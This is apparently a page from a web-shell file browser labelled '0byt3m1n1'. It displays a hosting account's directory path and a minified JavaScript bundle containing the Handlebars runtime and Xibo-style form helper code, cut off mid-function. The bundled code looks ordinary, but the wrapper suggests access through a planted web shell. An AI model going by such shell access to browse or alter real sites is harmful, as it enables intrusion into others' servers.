0byt3m1n1
Path:
/
home
/
mgatv524
/
public_html
/
midiatech
/
web
/
dist
/
[
Home
]
File: systemTools.bundle.min.js
!function(e){var t={};function n(l){if(t[l])return t[l].exports;var a=t[l]={i:l,l:!1,exports:{}};return e[l].call(a.exports,a,a.exports,n),a.l=!0,a.exports}n.m=e,n.c=t,n.d=function(e,t,l){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:l})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var l=Object.create(null);if(n.r(l),Object.defineProperty(l,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var a in e)n.d(l,a,function(t){return e[t]}.bind(null,a));return l},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=866)}({12:function(e,t){e.exports=function(e,t,n){return e===t?n.fn(this):n.inverse(this)}},14:function(e,t,n){"use strict";t.__esModule=!0;var l=["description","fileName","lineNumber","endLineNumber","message","name","number","stack"];function a(e,t){var n=t&&t.loc,o=void 0,i=void 0,r=void 0,s=void 0;n&&(o=n.start.line,i=n.end.line,r=n.start.column,s=n.end.column,e+=" - "+o+":"+r);for(var u=Error.prototype.constructor.call(this,e),c=0;c<l.length;c++)this[l[c]]=u[l[c]];Error.captureStackTrace&&Error.captureStackTrace(this,a);try{n&&(this.lineNumber=o,this.endLineNumber=i,Object.defineProperty?(Object.defineProperty(this,"column",{value:r,enumerable:!0}),Object.defineProperty(this,"endColumn",{value:s,enumerable:!0})):(this.column=r,this.endColumn=s))}catch(e){}}a.prototype=new Error,t.default=a,e.exports=t.default},21:function(e,t){var n;n=function(){return this}();try{n=n||new Function("return this")()}catch(e){"object"==typeof window&&(n=window)}e.exports=n},3:function(e,t,n){e.exports=n(75).default},44:function(e,t,n){"use strict";function l(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0,t.HandlebarsEnvironment=c;var a=n(8),o=l(n(14)),i=n(45),r=n(83),s=l(n(46)),u=n(47);function c(e,t,n){this.helpers=e||{},this.partials=t||{},this.decorators=n||{},i.registerDefaultHelpers(this),r.registerDefaultDecorators(this)}t.VERSION="4.7.6",t.COMPILER_REVISION=8,t.LAST_COMPATIBLE_COMPILER_REVISION=7,t.REVISION_CHANGES={1:"<= 1.0.rc.2",2:"== 1.0.0-rc.3",3:"== 1.0.0-rc.4",4:"== 1.x.x",5:"== 2.0.0-alpha.x",6:">= 2.0.0-beta.1",7:">= 4.0.0 <4.3.0",8:">= 4.3.0"},c.prototype={constructor:c,logger:s.default,log:s.default.log,registerHelper:function(e,t){if("[object Object]"===a.toString.call(e)){if(t)throw new o.default("Arg not supported with multiple helpers");a.extend(this.helpers,e)}else this.helpers[e]=t},unregisterHelper:function(e){delete this.helpers[e]},registerPartial:function(e,t){if("[object Object]"===a.toString.call(e))a.extend(this.partials,e);else{if(void 0===t)throw new o.default('Attempting to register a partial called "'+e+'" as undefined');this.partials[e]=t}},unregisterPartial:function(e){delete this.partials[e]},registerDecorator:function(e,t){if("[object Object]"===a.toString.call(e)){if(t)throw new o.default("Arg not supported with multiple decorators");a.extend(this.decorators,e)}else this.decorators[e]=t},unregisterDecorator:function(e){delete this.decorators[e]},resetLoggedPropertyAccesses:function(){u.resetLoggedProperties()}};var d=s.default.log;t.log=d,t.createFrame=a.createFrame,t.logger=s.default},45:function(e,t,n){"use strict";function l(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0,t.registerDefaultHelpers=function(e){a.default(e),o.default(e),i.default(e),r.default(e),s.default(e),u.default(e),c.default(e)},t.moveHelperToHooks=function(e,t,n){e.helpers[t]&&(e.hooks[t]=e.helpers[t],n||delete e.helpers[t])};var a=l(n(76)),o=l(n(77)),i=l(n(78)),r=l(n(79)),s=l(n(80)),u=l(n(81)),c=l(n(82))},46:function(e,t,n){"use strict";t.__esModule=!0;var l=n(8),a={methodMap:["debug","info","warn","error"],level:"info",lookupLevel:function(e){if("string"==typeof e){var t=l.indexOf(a.methodMap,e.toLowerCase());e=t>=0?t:parseInt(e,10)}return e},log:function(e){if(e=a.lookupLevel(e),"undefined"!=typeof console&&a.lookupLevel(a.level)<=e){var t=a.methodMap[e];console[t]||(t="log");for(var n=arguments.length,l=Array(n>1?n-1:0),o=1;o<n;o++)l[o-1]=arguments[o];console[t].apply(console,l)}}};t.default=a,e.exports=t.default},47:function(e,t,n){"use strict";t.__esModule=!0,t.createProtoAccessControl=function(e){var t=Object.create(null);t.constructor=!1,t.__defineGetter__=!1,t.__defineSetter__=!1,t.__lookupGetter__=!1;var n=Object.create(null);return n.__proto__=!1,{properties:{whitelist:l.createNewLookupObject(n,e.allowedProtoProperties),defaultValue:e.allowProtoPropertiesByDefault},methods:{whitelist:l.createNewLookupObject(t,e.allowedProtoMethods),defaultValue:e.allowProtoMethodsByDefault}}},t.resultIsAllowed=function(e,t,n){return function(e,t){return void 0!==e.whitelist[t]?!0===e.whitelist[t]:void 0!==e.defaultValue?e.defaultValue:(function(e){!0!==o[e]&&(o[e]=!0,a.log("error",'Handlebars: Access has been denied to resolve the property "'+e+'" because it is not an "own property" of its parent.\nYou can add a runtime option to disable the check or this warning:\nSee https://handlebarsjs.com/api-reference/runtime-options.html#options-to-control-prototype-access for details'))}(t),!1)}("function"==typeof e?t.methods:t.properties,n)},t.resetLoggedProperties=function(){Object.keys(o).forEach((function(e){delete o[e]}))};var l=n(85),a=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}(n(46)),o=Object.create(null)},75:function(e,t,n){"use strict";function l(e){return e&&e.__esModule?e:{default:e}}function a(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}t.__esModule=!0;var o=a(n(44)),i=l(n(86)),r=l(n(14)),s=a(n(8)),u=a(n(87)),c=l(n(89));function d(){var e=new o.HandlebarsEnvironment;return s.extend(e,o),e.SafeString=i.default,e.Exception=r.default,e.Utils=s,e.escapeExpression=s.escapeExpression,e.VM=u,e.template=function(t){return u.template(t,e)},e}var p=d();p.create=d,c.default(p),p.default=p,t.default=p,e.exports=t.default},76:function(e,t,n){"use strict";t.__esModule=!0;var l=n(8);t.default=function(e){e.registerHelper("blockHelperMissing",(function(t,n){var a=n.inverse,o=n.fn;if(!0===t)return o(this);if(!1===t||null==t)return a(this);if(l.isArray(t))return t.length>0?(n.ids&&(n.ids=[n.name]),e.helpers.each(t,n)):a(this);if(n.data&&n.ids){var i=l.createFrame(n.data);i.contextPath=l.appendContextPath(n.data.contextPath,n.name),n={data:i}}return o(t,n)}))},e.exports=t.default},77:function(e,t,n){"use strict";(function(l){t.__esModule=!0;var a=n(8),o=function(e){return e&&e.__esModule?e:{default:e}}(n(14));t.default=function(e){e.registerHelper("each",(function(e,t){if(!t)throw new o.default("Must pass iterator to #each");var n=t.fn,i=t.inverse,r=0,s="",u=void 0,c=void 0;function d(t,l,o){u&&(u.key=t,u.index=l,u.first=0===l,u.last=!!o,c&&(u.contextPath=c+t)),s+=n(e[t],{data:u,blockParams:a.blockParams([e[t],t],[c+t,null])})}if(t.data&&t.ids&&(c=a.appendContextPath(t.data.contextPath,t.ids[0])+"."),a.isFunction(e)&&(e=e.call(this)),t.data&&(u=a.createFrame(t.data)),e&&"object"==typeof e)if(a.isArray(e))for(var p=e.length;r<p;r++)r in e&&d(r,r,r===e.length-1);else if(l.Symbol&&e[l.Symbol.iterator]){for(var f=[],m=e[l.Symbol.iterator](),h=m.next();!h.done;h=m.next())f.push(h.value);for(p=(e=f).length;r<p;r++)d(r,r,r===e.length-1)}else!function(){var t=void 0;Object.keys(e).forEach((function(e){void 0!==t&&d(t,r-1),t=e,r++})),void 0!==t&&d(t,r-1,!0)}();return 0===r&&(s=i(this)),s}))},e.exports=t.default}).call(this,n(21))},78:function(e,t,n){"use strict";t.__esModule=!0;var l=function(e){return e&&e.__esModule?e:{default:e}}(n(14));t.default=function(e){e.registerHelper("helperMissing",(function(){if(1!==arguments.length)throw new l.default('Missing helper: "'+arguments[arguments.length-1].name+'"')}))},e.exports=t.default},79:function(e,t,n){"use strict";t.__esModule=!0;var l=n(8),a=function(e){return e&&e.__esModule?e:{default:e}}(n(14));t.default=function(e){e.registerHelper("if",(function(e,t){if(2!=arguments.length)throw new a.default("#if requires exactly one argument");return l.isFunction(e)&&(e=e.call(this)),!t.hash.includeZero&&!e||l.isEmpty(e)?t.inverse(this):t.fn(this)})),e.registerHelper("unless",(function(t,n){if(2!=arguments.length)throw new a.default("#unless requires exactly one argument");return e.helpers.if.call(this,t,{fn:n.inverse,inverse:n.fn,hash:n.hash})}))},e.exports=t.default},8:function(e,t,n){"use strict";t.__esModule=!0,t.extend=r,t.indexOf=function(e,t){for(var n=0,l=e.length;n<l;n++)if(e[n]===t)return n;return-1},t.escapeExpression=function(e){if("string"!=typeof e){if(e&&e.toHTML)return e.toHTML();if(null==e)return"";if(!e)return e+"";e=""+e}return o.test(e)?e.replace(a,i):e},t.isEmpty=function(e){return!e&&0!==e||!(!c(e)||0!==e.length)},t.createFrame=function(e){var t=r({},e);return t._parent=e,t},t.blockParams=function(e,t){return e.path=t,e},t.appendContextPath=function(e,t){return(e?e+".":"")+t};var l={"&":"&","<":"<",">":">",'"':""","'":"'","`":"`","=":"="},a=/[&<>"'`=]/g,o=/[&<>"'`=]/;function i(e){return l[e]}function r(e){for(var t=1;t<arguments.length;t++)for(var n in arguments[t])Object.prototype.hasOwnProperty.call(arguments[t],n)&&(e[n]=arguments[t][n]);return e}var s=Object.prototype.toString;t.toString=s;var u=function(e){return"function"==typeof e};u(/x/)&&(t.isFunction=u=function(e){return"function"==typeof e&&"[object Function]"===s.call(e)}),t.isFunction=u;var c=Array.isArray||function(e){return!(!e||"object"!=typeof e)&&"[object Array]"===s.call(e)};t.isArray=c},80:function(e,t,n){"use strict";t.__esModule=!0,t.default=function(e){e.registerHelper("log",(function(){for(var t=[void 0],n=arguments[arguments.length-1],l=0;l<arguments.length-1;l++)t.push(arguments[l]);var a=1;null!=n.hash.level?a=n.hash.level:n.data&&null!=n.data.level&&(a=n.data.level),t[0]=a,e.log.apply(e,t)}))},e.exports=t.default},81:function(e,t,n){"use strict";t.__esModule=!0,t.default=function(e){e.registerHelper("lookup",(function(e,t,n){return e?n.lookupProperty(e,t):e}))},e.exports=t.default},82:function(e,t,n){"use strict";t.__esModule=!0;var l=n(8),a=function(e){return e&&e.__esModule?e:{default:e}}(n(14));t.default=function(e){e.registerHelper("with",(function(e,t){if(2!=arguments.length)throw new a.default("#with requires exactly one argument");l.isFunction(e)&&(e=e.call(this));var n=t.fn;if(l.isEmpty(e))return t.inverse(this);var o=t.data;return t.data&&t.ids&&((o=l.createFrame(t.data)).contextPath=l.appendContextPath(t.data.contextPath,t.ids[0])),n(e,{data:o,blockParams:l.blockParams([e],[o&&o.contextPath])})}))},e.exports=t.default},83:function(e,t,n){"use strict";t.__esModule=!0,t.registerDefaultDecorators=function(e){l.default(e)};var l=function(e){return e&&e.__esModule?e:{default:e}}(n(84))},84:function(e,t,n){"use strict";t.__esModule=!0;var l=n(8);t.default=function(e){e.registerDecorator("inline",(function(e,t,n,a){var o=e;return t.partials||(t.partials={},o=function(a,o){var i=n.partials;n.partials=l.extend({},i,t.partials);var r=e(a,o);return n.partials=i,r}),t.partials[a.args[0]]=a.fn,o}))},e.exports=t.default},85:function(e,t,n){"use strict";t.__esModule=!0,t.createNewLookupObject=function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return l.extend.apply(void 0,[Object.create(null)].concat(t))};var l=n(8)},86:function(e,t,n){"use strict";function l(e){this.string=e}t.__esModule=!0,l.prototype.toString=l.prototype.toHTML=function(){return""+this.string},t.default=l,e.exports=t.default},866:function(e,t,n){window.formHelpers=n(867)},867:function(module,exports,__webpack_require__){var templates={dataSetOrderClauseTemplate:__webpack_require__(868),dataSetFilterClauseTemplate:__webpack_require__(869),subPlaylistFormTemplate:__webpack_require__(870),twittermetroColorsTemplate:__webpack_require__(871),chartColorsTemplate:__webpack_require__(872),chartGraphConfigTemplate:__webpack_require__(873)},formHelpers=function formHelpers(){this.defaultBackgroundColor="#eee",this.defaultRegionDimensions={width:800,height:600,scale:1},this.setup=function(e,t){this.namespace=e,this.mainObject=t},this.setupCheckboxInputFields=function(e,t,n,l){var a=$(e).find(t),o=$(e).find(n),i=$(e).find(l),r=function(){0==a.is(":checked")?(o.css("display","none"),i.css("display","block")):1==a.is(":checked")&&(o.css("display","block"),i.css("display","none"))};r(),a.on("change",r)},this.setupObjectValueInputFields=function(e,t,n){var l=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null,a=arguments.length>4&&void 0!==arguments[4]&&arguments[4],o=arguments.length>5&&void 0!==arguments[5]?arguments[5]:null,i=a?"none":"block",r=a?"block":"none",s=$(e).find(t),u=function(){for(var t=s.val(),a=0;a<n.length;a++){var u=$(e).find(n[a]);$(u).css("display",r)}null!=o&&(e=o);for(var c=0;c<n.length;c++){var d=$(e).find(n[c]),p=c;null!=l&&(p=l[c]),p==t&&$(d).css("display",i)}};u(),s.on("change input",u)},this.setupConditionalInputFields=function(e,t,n,l){var a=function(){t.toggle(l(n))};a(),e.on("change input",a)},this.displayErrorMessage=function(e,t,n){if($(e).find("#errorMessage").length)$(e).find("#errorMessage p").html(t);else{var l="";l+='<div id="errorMessage" class="alert alert-'+n+'"><div class="row"><div class="col-sm-12 ">',l+="<p>"+t+"</p>",l+="</div></div></div>",$(e).append(l)}},this.requestTab=function(e,t){$.ajax({type:"get",url:t,cache:!1,data:"tab="+e,success:function(t,n,l){$(".tab-content #"+e).html(t.html),$('.nav-tabs a[href="#'+e+'"]').tab("show")}})},this.setupDualTypeTextArea=function(e,t){var n=arguments.length>2&&void 0!==arguments[2]&&arguments[2],l=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null,a=this,o=$("#"+t+"_advanced",e),i=function(e,t){n?($(e).data().viewerObject.setupInlineEditor(t,o.is(":checked")),o.is(":checked")||a.setupTextArea(e,t,l)):void 0===o||o.is(":checked")?(e.find("."+t+"-advanced-editor-show").show(),e.find("."+t+"-advanced-editor-hide").hide(),a.setupCKEditor(e,null,t,!1,l)):(e.find("."+t+"-advanced-editor-show").hide(),e.find("."+t+"-advanced-editor-hide").show(),a.destroyCKEditor(t),a.setupFormDimensionControls(e,!1,t),a.setupTextArea(e,t,l))};o.bootstrapSwitch().on("switchChange.bootstrapSwitch",(function(n,l){i(e,t)})),i(e,t)},this.setupTextArea=function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,l=$('.ckeditor_snippets_select[data-linked-to="'+t+'"]',e),a=$('.ckeditor_library_select[data-linked-to="'+t+'"]',e);if(l.length>0&&this.setupSnippetsSelector(l,(function(t){var n=l.data().linkedTo,a=$("#"+n,e),o=t.params.data.element.value;if(a.length>0&&void 0!==o){var i="["+o+"]",r=a[0].selectionStart,s=a.val();$("#"+n,e).val(s.substring(0,r)+i+s.substring(r))}})),a.length>0&&this.setupMediaSelector(a,(function(t){var n=a.data().linkedTo,l=t.params.data.id,o=$("#"+n,e);if(o.length>0&&void 0!==l){var i='<img src="['+l+']"/>',r=o[0].selectionStart,s=o.val();$("#"+n,e).val(s.substring(0,r)+i+s.substring(r))}})),""==$("#"+t,e).val()){var o=null!=this.mainObject&&void 0!==this.mainObject.backgroundColor&&null!=this.mainObject.backgroundColor?this.mainObject.backgroundColor:this.defaultBackgroundColor,i=$c.complement(o),r="";r="noDataMessage"===t?translations.noDataMessage:null!==n?n:translations.enterText,$("#"+t,e).val('<span style="font-size: 48px; color:'+i+';">'+r+"</span>")}},this.setupSnippetsSelector=function(e,t){e.select2().off().on("select2:select",(function(e){t(e),$(this).val("").trigger("change")}))},this.setupMediaSelector=function(e,t){e.select2({ajax:{url:e.data().searchUrl,dataType:"json",data:function(e){var t=e.term,n="";if(null!=e.term){var l=e.term.match(/\[([^}]+)\]/);null!=l&&(n=l[1],t=e.term.replace(l[0],"")),t=t.replace(" ",""),n=n.replace(" ","")}var a={media:t,tags:n,type:"image",retired:0,assignable:1,start:0,length:10};return null!=e.page&&(a.start=10*(e.page-1)),void 0!==e.term&&(localStorage.liveSearchPlaceholder=e.term),a},processResults:function(t,n){var l=[];$.each(t.data,(function(t,n){l.push({id:n.mediaId,text:n.name,imageUrl:e.data().imageUrl.replace(":id",n.mediaId),disabled:!1})}));var a=n.page||1;return{results:l,pagination:{more:10*(a=a>1?a-1:a)<t.recordsTotal}}},delay:250}}).off().on("select2:select",(function(e){t(e),$(this).val("").trigger("change")}))},this.setupTemplateOverriding=function(e,t,n,l){var a=$(e).data().extra,o=$(t,e),i=function(){$.each(l,(function(t,n){var l=$(t,e);"checkbox"===l.attr("type")&&l.hasClass("bootstrap-switch-target")&&l.bootstrapSwitch("state",!1)}))};o.on("change",(function(){!function(t){if(o.is(":checked")){var a=$(n,e).val(),r=t;void 0!==t.templates&&(r=t.templates),$.each(r,(function(t,n){n.id==a&&$.each(l,(function(t,l){var a=$(t,e);"checkbox"===a.attr("type")?a.hasClass("bootstrap-switch-target")?a.bootstrapSwitch("state",n[l]):a.prop("checked",n[l]):a.val(n[l])}))}))}else i()}(a)})),o.is(":checked")||i()},this.setupCKEditor=function(e,t,n){var l=this,a=arguments.length>3&&void 0!==arguments[3]&&arguments[3],o=arguments.length>4&&void 0!==arguments[4]?arguments[4]:null,i=arguments.length>5&&void 0!==arguments[5]&&arguments[5],r=this;null!=t||$(e).data().extra;var s=null!=this.mainObject&&void 0!==this.mainObject.backgroundColor&&null!=this.mainObject.backgroundColor?this.mainObject.backgroundColor:this.defaultBackgroundColor,u=$c.complement(s),c=a&&null!=this.mainObject.backgroundImage&&null!=this.mainObject.backgroundImage,d={};null==this.namespace?null!=e.find("form").data("regionWidth")&&null!=e.find("form").data("regionHeight")?d.dimensions={width:e.find("form").data("regionWidth"),height:e.find("form").data("regionHeight")}:d={}:null!=this.namespace.mainRegion?d=this.namespace.mainRegion:"widget"==this.namespace.selectedObject.type?d=this.namespace.getElementByTypeAndId("region",this.namespace.selectedObject.regionId):"region"==this.namespace.selectedObject.type&&(d=this.namespace.getElementByTypeAndId("region",this.namespace.selectedObject.id));var p=null,f=1;if(void 0===d.dimensions){if(p=this.defaultRegionDimensions,this.setupFormDimensionControls(e,!0),["width","height"].forEach((function(t){$.isNumeric($(e).find(".text_editor_"+t).val())?p[t]=parseFloat($(e).find(".text_editor_"+t).val()):$(e).find(".text_editor_"+t).val(p[t]),$(e).find(".text_editor_"+t).focusout((function(){$(e).find(".text_editor_"+t).val()!=p[t]&&l.restartCKEditors(e)}))})),$(e).find(".text_editor_scale").off().change((function(){l.restartCKEditors(e)})),$(e).find(".text_editor_scale").is(":checked")){var m=$(e).find("form").innerWidth()-30,h=p.width+20;f=m/h}}else p=d.dimensions,null!=this.namespace&&null!=this.namespace.viewer&&(f=this.namespace.viewer.DOMObject.find(".viewer-element").width()/p.width);var g=function(e){a?($(".cke_textarea_inline").css("width",p.width),$(".cke_textarea_inline").css("height",p.height),c||$(".cke_textarea_inline").css("background",s),$(".cke_textarea_inline").css("transform","scale("+f+")"),$(".cke_textarea_inline").css("transform-origin","0 0"),$(".cke_textarea_inline").css("word-wrap","inherit"),$(".cke_textarea_inline").css("overflow","hidden"),$(".cke_textarea_inline").css("line-height","normal"),$(".cke_textarea_inline p").css("margin","0 0 16px"),$(".cke_textarea_inline").show()):$("#cke_"+e+" iframe").contents().find("head").append("<style>html { height: 100%; }body {width: "+p.width+"px; height: "+p.height+"px; border: 2px solid red; background: "+s+"; transform: scale("+f+"); margin: 10px; word-wrap: inherit; transform-origin: 0 0; }h1, h2, h3, h4, p { margin-top: 0;}</style>")},v=p.height*f+20;CKEDITOR.config.height=v>500?500:v,a?CKEDITOR.inline(n,CKEDITOR_DEFAULT_CONFIG):CKEDITOR.replace(n,CKEDITOR_DEFAULT_CONFIG),CKEDITOR.instances[n].on("instanceReady",(function(){if(void 0!==CKEDITOR.instances[n]){g(n),CKEDITOR.instances[n].on("contentDom",(function(){g(n)}));var e=$("#"+n).val();if(null!=e&&(e=e.replace(/#Color#/g,u)),""==e){var t;t="noDataMessage"===n?translations.noDataMessage:null!==o?o:translations.enterText,e='<span style="font-size: 48px;"><span style="color: '+u+';">'+t+"</span></span>"}e=r.convertLibraryReferences(e),CKEDITOR.instances[n].setData(e),i&&CKEDITOR.instances[n].focus()}}));var b=$('.ckeditor_snippets_select[data-linked-to="'+n+'"]',e);b.length>0&&this.setupSnippetsSelector(b,(function(e){var t=b.data().linkedTo,n=e.params.data.element.value;if(null!=CKEDITOR.instances[t]&&void 0!==n){var l="["+n+"]";CKEDITOR.instances[t].insertText(l)}}));var y=$('.ckeditor_library_select[data-linked-to="'+n+'"]',e);return y.length>0&&this.setupMediaSelector(y,(function(e){var t=y.data().linkedTo,n=e.params.data.imageUrl;void 0!==n&&""!==n&&null!=t&&null!=CKEDITOR.instances[t]&&CKEDITOR.instances[t].insertHtml('<img src="'+n+'" />')})),!1},this.restartCKEditors=function(e){var t=this;$.each(CKEDITOR.instances,(function(n,l){CKEDITOR.instances[n].destroy(),t.setupCKEditor(e,null,n)}))},this.updateCKEditor=function(e){var t=this;try{null!=e&&null!=CKEDITOR.instances[e]?t.parseCKEditorData(e):$.each(CKEDITOR.instances,(function(e,n){t.parseCKEditorData(e)}))}catch(e){console.warn("Unable to update CKEditor instances. "+e)}},this.destroyCKEditor=function(e){try{void 0===e?$.each(CKEDITOR.instances,(function(e,t){CKEDITOR.instances[e].destroy()})):null!=CKEDITOR.instances[e]?this.parseCKEditorData(e,CKEDITOR.instances[e].destroy):console.warn("CKEditor instance does not exist.")}catch(e){console.warn("Unable to remove CKEditor instance. "+e),CKEDITOR.instances={}}},this.parseCKEditorData=function(e,t){if(void 0!==CKEDITOR.instances[e]){var n=new RegExp(CKEDITOR_DEFAULT_CONFIG.imageDownloadUrl.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&").replace(":id","([0-9]+)"),"g"),l=CKEDITOR.instances[e].getData();l=l.replace(n,(function(e,t){return"["+t+"]"})),$("textarea#"+e).val(l),void 0!==t?CKEDITOR.instances[e].setData(l,t):CKEDITOR.instances[e].setData(l)}},this.mediaEditFormOpen=function(e){var t=this;if(1==e.find("form").data().mediaEditable){var n=e.find(".button-container"),l=e.find("form").data().mediaId,a=e.find("form").data().widgetId,o=e.find("form").data().validExtensions,i=$('<button class="btn btn-warning">').html(playlistAddFilesTrans.uploadMessage);i.click((function(n){n.preventDefault(),t.namespace.openUploadForm({oldMediaId:l,widgetId:a,updateInAllChecked:uploadFormUpdateAllDefault,trans:playlistAddFilesTrans,upload:{maxSize:$(this).data().maxSize,maxSizeMessage:$(this).data().maxSizeMessage,validExtensionsMessage:translations.validExtensions+": "+e.find("form").data().validExtensions,validExt:o}},{main:{label:translations.done,className:"btn-primary",callback:function(){"function"==typeof t.namespace.timeline.resetZoom&&t.namespace.timeline.resetZoom(),t.namespace.reloadData(t.mainObject)}}})})),n.prepend(i)}},this.configureQueryBuilder=function(e,t){var n=$("#orderClause");if(0!=n.length){var l=templates.dataSetOrderClauseTemplate,a=t.ascTitle,o=t.descTitle;if(0==e.data().extra.orderClause.length){var i={columns:e.data().extra.columns,title:"1",orderClause:"",orderClauseAsc:"",orderClauseDesc:"",buttonGlyph:"fa-plus",ascTitle:a,descTitle:o};n.append(l(i))}else{var r=0;$.each(e.data().extra.orderClause,(function(t,i){r++;var s="ASC"==i.orderClauseDirection,u={columns:e.data().extra.columns,title:r,orderClause:i.orderClause,orderClauseAsc:s,orderClauseDesc:!s,buttonGlyph:1==r?"fa-plus":"fa-minus",ascTitle:a,descTitle:o};n.append(l(u))}))}n.on("click","button",(function(t){if(t.preventDefault(),$(this).find("i").hasClass("fa-plus")){var i={columns:e.data().extra.columns,title:n.find(".form-inline").length+1,orderClause:"",orderClauseAsc:"",orderClauseDesc:"",buttonGlyph:"fa-minus",ascTitle:a,descTitle:o};n.append(l(i))}else $(this).closest(".form-inline").remove()}));var s=$("#filterClause"),u=templates.dataSetFilterClauseTemplate,c=t.filterOptions,d=t.filterOperatorOptions;if(0==e.data().extra.filterClause.length){var p={columns:e.data().extra.columns,filterOptions:c,filterOperatorOptions:d,title:"1",filterClause:"",filterClauseOperator:"AND",filterClauseCriteria:"",filterClauseValue:"",buttonGlyph:"fa-plus"};s.append(u(p))}else{var f=0;$.each(e.data().extra.filterClause,(function(t,n){f++;var l={columns:e.data().extra.columns,filterOptions:c,filterOperatorOptions:d,title:f,filterClause:n.filterClause,filterClauseOperator:n.filterClauseOperator,filterClauseCriteria:n.filterClauseCriteria,filterClauseValue:n.filterClauseValue,buttonGlyph:1==f?"fa-plus":"fa-minus"};s.append(u(l))}))}s.on("click","button",(function(t){if(t.preventDefault(),$(this).find("i").hasClass("fa-plus")){var n={columns:e.data().extra.columns,filterOptions:c,filterOperatorOptions:d,title:s.find(".form-inline").length+1,filterClause:"",filterClauseOperator:"AND",filterClauseCriteria:"",filterClauseValue:"",buttonGlyph:"fa-minus"};s.append(u(n))}else $(this).closest(".form-inline").remove()}))}},this.getTemplate=function(e){return void 0===templates[e]&&console.error("Template "+e+" does not exist on formHelpers file!"),templates[e]},this.setupFormDimensionControls=function(e,t,n){t?$(e).find(".form-editor-controls").show():($.isEmptyObject(CKEDITOR.instances)||1===Object.keys(CKEDITOR.instances).length&&void 0!==CKEDITOR.instances[n])&&$(e).find(".form-editor-controls").hide()},this.permissionsFormAfterOpen=function(e){var t=$("#permissionsTable",e).closest(".XiboGrid"),n=$("#permissionsTable",e).DataTable({language:dataTablesLanguage,serverSide:!0,stateSave:!0,filter:!1,searchDelay:3e3,order:[[0,"asc"]],ajax:{url:t.data().url,data:function(e){$.extend(e,t.find(".permissionsTableFilter form").serializeObject())}},columns:[{data:"group",render:function(e,t,n,l){return"display"!=t?e:1==n.isUser?e:"<strong>"+e+"</strong>"}},{data:"view",render:function(e,t,n,l){return"display"!=t?e:'<input type="checkbox" data-permission="view" data-group-id="'+n.groupId+'" '+(1==e?"checked":"")+" />"}},{data:"edit",render:function(e,t,n,l){return"display"!=t?e:'<input type="checkbox" data-permission="edit" data-group-id="'+n.groupId+'" '+(1==e?"checked":"")+" />"}},{data:"delete",render:function(e,t,n,l){return"display"!=t?e:'<input type="checkbox" data-permission="delete" data-group-id="'+n.groupId+'" '+(1==e?"checked":"")+" />"}}]});n.on("draw",(function(e,n){dataTableDraw(e,n),t.data().permissions.length<=0&&(t.data().permissions={}),$("#"+e.target.id).find("input[type=checkbox]").change((function(){var e=$(this).data().groupId,n=$(this).data().permission,l=$(this).is(":checked");void 0===t.data().permissions[e]&&(t.data().permissions[e]={}),t.data().permissions[e][n]=l?1:0}))})),n.on("processing.dt",dataTableProcessing),t.find(".permissionsTableFilter form input, .permissionsTableFilter form select").change((function(){n.ajax.reload()}))},this.permissionsFormBeforeSubmit=function(e){var t=$(".permissions-form",e),n={groupIds:$(".permissionsGrid",e).data().permissions,ownerId:t.find("select[name=ownerId]").val(),cascade:t.find("#cascade").is(":checked")};return $.param(n)},this.widgetFormRender=function(sourceObj,data,step){var self=this,formUrl="";return formUrl="string"==typeof sourceObj||sourceObj instanceof String?sourceObj:sourceObj.attr("href"),null!=formUrl&&(bootbox.hideAll(),null!=step&&(formUrl=formUrl.split("?")[0]+"?step="+step),$.ajax({type:"get",url:formUrl,cache:!1,dataType:"json",success:function success(response){if(response.success){var dialogTitle="";null!=response.dialogTitle&&""!=response.dialogTitle&&(dialogTitle=response.dialogTitle);var id=(new Date).getTime(),dialog=bootbox.dialog({message:response.html,title:dialogTitle,animate:!1}).attr("id",id);dialog.data("extra",response.extra);var buttons=self.widgetFormRenderButtons(response.buttons);if(""!==buttons){var footer=$("<div>").addClass("modal-footer");dialog.find(".modal-content").append(footer);var i=0,count=Object.keys(buttons).length;$.each(buttons,(function(e,t){var n=$('<button id="dialog_btn_'+ ++i+'" class="btn">').html(t.name);n.addClass(t.type),n.attr("id",e),n.click((function(e){return e.preventDefault(),self.widgetFormEditAction(dialog,t.action,response.data.module.widget.type,{sourceObj:sourceObj,data:data,step:step}),!1})),footer.append(n)}))}$("input[type=text]",dialog).eq(0).focus(),$("input[type=text]",dialog).each((function(e,t){formRenderDetectSpacingIssues(t),$(t).on("keyup",_.debounce((function(){formRenderDetectSpacingIssues(t)}),500))})),$('a[data-toggle="tab"]',dialog).on("shown.bs.tab",(function(e){1===$(e.target).data().enlarge?$(e.target).closest(".modal").addClass("modal-big"):$(e.target).closest(".modal").removeClass("modal-big")})),$('a[data-toggle="tab"]',dialog).each((function(){1===$(this).data().enlarge&&$(this).closest("li").hasClass("active")&&$(this).closest(".modal").addClass("modal-big")})),XiboInitialise("#"+dialog.attr("id")),""!==response.callBack&&void 0!==response.callBack&&eval(response.callBack)(dialog);var widgetOptions={};for(var option in response.data.module.widget.widgetOptions){var 